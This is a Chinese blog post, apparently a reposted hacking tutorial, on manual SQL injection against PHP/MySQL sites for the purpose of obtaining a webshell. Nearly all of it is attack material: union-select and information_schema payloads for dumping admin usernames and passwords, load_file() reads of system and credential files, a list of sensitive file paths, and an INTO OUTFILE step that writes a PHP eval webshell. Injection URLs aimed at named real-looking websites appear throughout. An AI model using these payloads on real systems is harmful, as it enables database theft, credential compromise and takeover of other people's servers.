现在的位置: 首页 > 综合 > 正文

php+mysql注入

2014年01月14日 ⁄ 综合 ⁄ 共 7018字 ⁄ 字号 评论关闭

php mysql注入漏洞拿webshell
1.认识注入类型

不管是asp.aspx.php,注入的标准类型必为
http://www.xxxx.com/aa.asp?p=xxx
http://www.xxxx.com/aa.aspx?p=xxx
http://www.xxxx.com/aa.php?p=xxx

2.判断是否存在注入
不管是asp.aspx.php,注入点的判断都是这样的
http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=1返回正常页
http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=2,返回错误页

存在注入

3.猜解准确字段数
(不明白原理的请多看看这方面的文章,这只讲实际运用)
利用union来查询准确字段,如: and 1=2 union select 1,2,3,.......直到返回正常,说明猜到准确字段数。如过滤了空格可以用 /**/代替。

http://www.atextile.org.cn:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7
http://www.atextile.org.cn:81/news.php?id=780/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7

记下这个位置,3 和5

4.mysql也有内置变量,可以帮助我们获得更多信息
version()(4.0.21-nt)返回当前数据库版本信息,database(){db_atextile_org_cn} 返回当前数据库名,user(),{tt1330@localhost}返回MYSQL用户名,可以帮助我们获得更多信息。这些都是很基础的东西
现在就在3和5这插入
http://www.atextile.org.cn:81/news.php?id=780%20and%201=2%20union%20select%201,2,version(),4,5,6,7
Load_file可以返回文件的内容
(1),读取系统信息
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /fastdetect /NoExecute=OptOut multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror
C: - secondary plex" multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - secondary plex"

(2)读取php配置信息
我们转化一下,
load_file('c:\boot.ini')=load_file(char(99,58,92,98,111,111,116,46,105,110,105))

5.准确猜解表
如: and 1=1 union select 1,2,3,4,5,6.... from user 如果返回正常说明存在这个表。
http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from admin
说明没有admin表
http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from user
正常说明有这个表

6.猜解表中的字段
and 1=1 union select 1,username,3,4,5,6.... from user/*如果字段显示出字段内容则存在些字段。
http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,user,4,5,6,7 from user
http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,name,4,5,6,7 from user
有字段name
同理再猜解password字段,猜解成功再找后台登录。
http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,pass,4,5,6,7 from user
http://www.atextile.org.cn:81/news.php?id=780 and 1=1 union select 1,2,pwd,4,5,6,7 from user
有字段pwd

7.暴管理员的用户名,密码是多少
http://www.atextile.org.cn:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7 from user
http://www.atextile.org.cn:81/news.php?id=780 and 1=2 union select 1,2,pwd,4,name,6,7 from user

7.登录后台,上传shell。

php mysql注入
  在这个注入风靡的时代,多少菜鸟拿着工具四处冲锋.如果你不想成为工具的奴隶,不想遇到PHP就退避三舍,不想继续做着ASP的菜鸟之群,不 想......那么请你静下心来,   随我一同走完这次的入侵检测全过程.相信你必然能有所收获.不只在技术上,更在思路上,更在意识上..

  判断是否存在注入:首先,PHP和ASP判断注入的方法一样,在一个动态连接后面加上and 1=1,and 1=2看其返回结果即可判断.两次返回结果不相同,即可初步判断为有注入点.

  判断字段大小:接下来,对付php猜字段的方法,我们用order by.语法如下:

  http://127.0.0.1/1.php?id=1 order by 40 //如果返回正常,说明实际的字段要比40大.那么我们继续加.一直加到返回错误.

  譬如当http://127.0.0.1/1.php?id=1 order by 45 的时候出错了,那么我们就知道字段大小为44.

  UNION SELECT:知道字段大小以后,我们就用union select联合查询来列出所有字段.

  http://127.0.0.1/1.php?id=1 and 1=2 union select 1,2,3,4~44/* //这里我们列出了44个字段,并且以/*告诉MYSQL,我们的命令已经执行完毕.*

  你就可以在回显出来的相应的字段上,替换你要查询的字段名,再from表明.就可以得到相应的字段内容了.譬如:

  http://127.0.0.1/1.php?id=1and 1=2 union select 1,2,3,4,~30,passwd,32,~45 from member/*    //~表示我这里省略.你不能那么写.

  几个常用的MYSQL函数:好 了,现在我们把字段都列出来了.估计这时候有人就该急急忙忙的加from来猜密码了.实际上,猜测密码走后台这一招,我们应该放在最后.有人说MYSQL 的功能,和ACCESS一样,甚至还不如,这其实是误解,冤枉了MYSQL.我们下面来看看,MYSQL都有些什么高级的运用.

  这里首先列出几个常用的涵数:1:system_user()2:user()3:current_user4:session_user()5:database()6:version()7:load_file()......他们的含义分别如下:

  1:系统用户名.2:用户名.3:当前用户名:4连接数据库的用户名.5:数据库名.6:数据库版本.7:MYSQL读取本地文件的函数

  他们都有什么用?1-6的作用如下:

  这几个函数翻回来的信息在检测过程中具有非常重要的作用,他们对我们了解目标,分析目标,寻找漏洞,开阔思路等等都有莫大的作用.譬如了解系统的版本,了解数据库是否支持union,当前用户是否ROOT用户的初步判断等等...函数7的作用就更大了,我们接下来单独说.

  专说load_file()函数的作用与技巧.

  OK.load_file 是MYSQL用来读取本地文件时,会用到的函数.在我们注入时的权限可以读写文件时,load_file就有无比巨大的作用了.怎么判断有我们注入点的权 限呢?很简单,在注入点后加上and (select count(*) from mysql.user)>0/*如果结果返回正常,那么就是具有读写权限了.我们就可以用这个函数去读取系统的敏感文件,去寻找配置文件,寻找数据 库连接文件,寻找社工文件,寻找WEB物理路径等等.下面,我给大家总结出了敏感文件列表:

  WINDOWS下:

  load_file(char(99,58,47,119,105,110,100,111,119,115,47,112,104,112,46,105,110,105))     c:/windows/php.ini //里面有什么不用我说了吧?

  load_file(char(99,58,47,119,105,110,110,116,47,112,104,112,46,105,110,105))          c:/winnt/php.ini

PHP+MySQL 手工注入语句大全

暴字段长度

Order by num/*

匹配字段

and 1=1 union select 1,2,3,4,5…….n/*

暴字段位置

and 1=2 union select 1,2,3,4,5…..n/*

利用内置函数暴数据库信息

version() database() user()

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系统信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

数据库权限:

and ord(mid(user(),1,1))=114 /* 返回正常说明为root

暴库 (mysql>5.0)

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息

and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码

and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

高级用法(一个可用字段显示两个数据内容):

Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

直接写马(Root权限)

条件:1、知道站点物理路径

2、有足够大的权限(可以用select …. from mysql.user测试)

3、magic_quotes_gpc()=OFF

select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路径'

and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:

  1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
  2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
  上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
  3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
  4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
  5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
  6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
  7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
  8、d:\APACHE\Apache2\conf\httpd.conf
  9、C:\Program Files\mysql\my.ini
  10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
  11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
  12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
  13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
  14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
  15、 /etc/sysconfig/iptables 本看防火墙策略
  16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
  17 、/etc/my.cnf MYSQL的配置文件
  18、 /etc/redhat-release 红帽子的系统版本
  19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
  20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
  21、/usr/local/app/php5 b/php.ini //PHP相关设置
  22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
  23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
  24、c:\windows\my.ini
    25、c:\boot.ini

网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))

注:

Char(60)表示 <

Char(32)表示 空格

手工注射时出现的问题:

当注射后页面显示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

这是由于前后编码不一致造成的,

解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以继续注射了。。。

 

 

抱歉!评论已关闭.